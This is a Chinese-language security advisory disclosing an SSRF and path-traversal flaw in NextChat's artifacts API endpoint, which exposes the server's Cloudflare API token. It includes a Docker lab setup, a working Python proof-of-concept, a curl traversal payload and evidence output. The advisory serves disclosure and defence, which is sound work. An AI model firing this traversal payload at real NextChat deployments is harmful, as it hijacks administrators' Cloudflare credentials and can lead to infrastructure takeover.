### 漏洞概述 **标题**: Server-Side Request Forgery (SSRF) and Cloudflare API Token Leakage via Path Traversal in Artifacts Endpoint **描述**: - **漏洞类型**: SSRF 和 Cloudflare API Token 泄露 - **受影响组件**: NextChat Next.js `app/api/artifacts/route.ts` API 端点 - **漏洞原理**: 应用程序未对用户输入的 `id` 查询参数进行验证,直接将其拼接到后端 Cloudflare KV API 的 URL 中。攻击者可以通过路径遍历(如 `../../`)绕过 KV 命名空间的限制,访问 Cloudflare API 的任意端点。由于服务器会自动附加高权限的 `CLOUDFLARE_KV_API_KEY` 令牌,攻击者可以利用此漏洞窃取敏感信息。 ### 影响范围 - **受影响产品**: - 生态系统: npm - 包名: nextchat (Yidadaa/ChatGPT-Next-Web) - 受影响版本: <= v2.16.1 - 已修复版本: 未指定 - **严重程度**: Critical - **CVSS 向量字符串**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H ### 修复方案 - **修复状态**: 已修复 - **具体修复措施**: 未详细说明,但建议对 `id` 参数进行严格的验证和过滤,防止路径遍历攻击。 ### POC 代码 #### 1. Docker Compose 配置 ```yaml version: '3.9' services: nextchat: image: yidadaa/chatgpt-next-web:latest container_name: nextchat-artifact-ssrf ports: - "3000:3000" environment: - BASE_URL=http://localhost:3000 - CLOUDFLARE_KV_API_KEY=SECRET_TEST_TOKEN - CLOUDFLARE_KV_NAMESPACE_ID=TEST_NAMESPACE - CLOUDFLARE_ACCOUNT_ID=TEST_ACCOUNT ``` #### 2. 启动测试环境 ```bash docker compose up -d ``` #### 3. Python POC 脚本 ```python import requests def test_artifact_ssrf(): # Payload path traversal to escape /client/v4/accounts/{accountId}/storage/kv/namespaces/{namespaceId}/ target = "http://localhost:3000/api/artifacts" params = { "id": "../../../../../user/tokens/verify" } try: response = requests.get(target, params=params, timeout=10) print("[*] Artifacts SSRF Response Status:", response.status_code) print("[*] Response body:") print(response.text) if response.status_code in [200, 400, 401, 403]: print("[\n[SUCCESS] Exploit hit Cloudflare traversal target!") else: print("[\n[FAILED] Vulnerability might be patched or endpoint not reachable.") except Exception as e: print("[\n[FAILED] Error during fetching:", str(e)) if __name__ == "__main__": test_artifact_ssrf() ``` #### 4. 运行 POC ```bash python3 poc.py ``` #### 5. 使用 curl 直接测试 ```bash curl -i -s -k "http://localhost:3000/api/artifacts?id=../../../../../user/tokens/verify" ``` ### 证据日志 ```plaintext [*] Artifacts SSRF Response Status: 400 [*] Response body: {"success":false,"errors":[{"code":6003,"message":"Invalid request headers","error_chain":[{"code":6111,"mes [SUCCESS] Exploit hit Cloudflare traversal target! ``` ### 影响 - **关键 SSRF 和身份接管**: 攻击者可以直接调用高权限的 Cloudflare API 端点,使用 NextChat 管理员配置的 `CLOUDFLARE_KV_API_KEY`。根据令牌的权限范围,这可能导致受害者 Cloudflare 基础设施的全面接管、DNS 设置的操纵、其他命名空间的读取或绕过代理保护。 ### 弱点 - **CWE-918**: Server-Side Request Forgery (SSRF) - **CWE-22**: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) ### 发生情况 - **链接**: [https://github.com/Yidadaa/ChatGPT-Next-Web/blob/main/app/api/artifacts/route.ts](https://github.com/Yidadaa/ChatGPT-Next-Web/blob/main/app/api/artifacts/route.ts) - **描述**: 端点直接将 `id` 查询参数插值到 `fetch()` URL 中,未对路径遍历序列(如 `../../`)进行中和,同时附加了高权限的 `storeHeaders()` Bearer 令牌。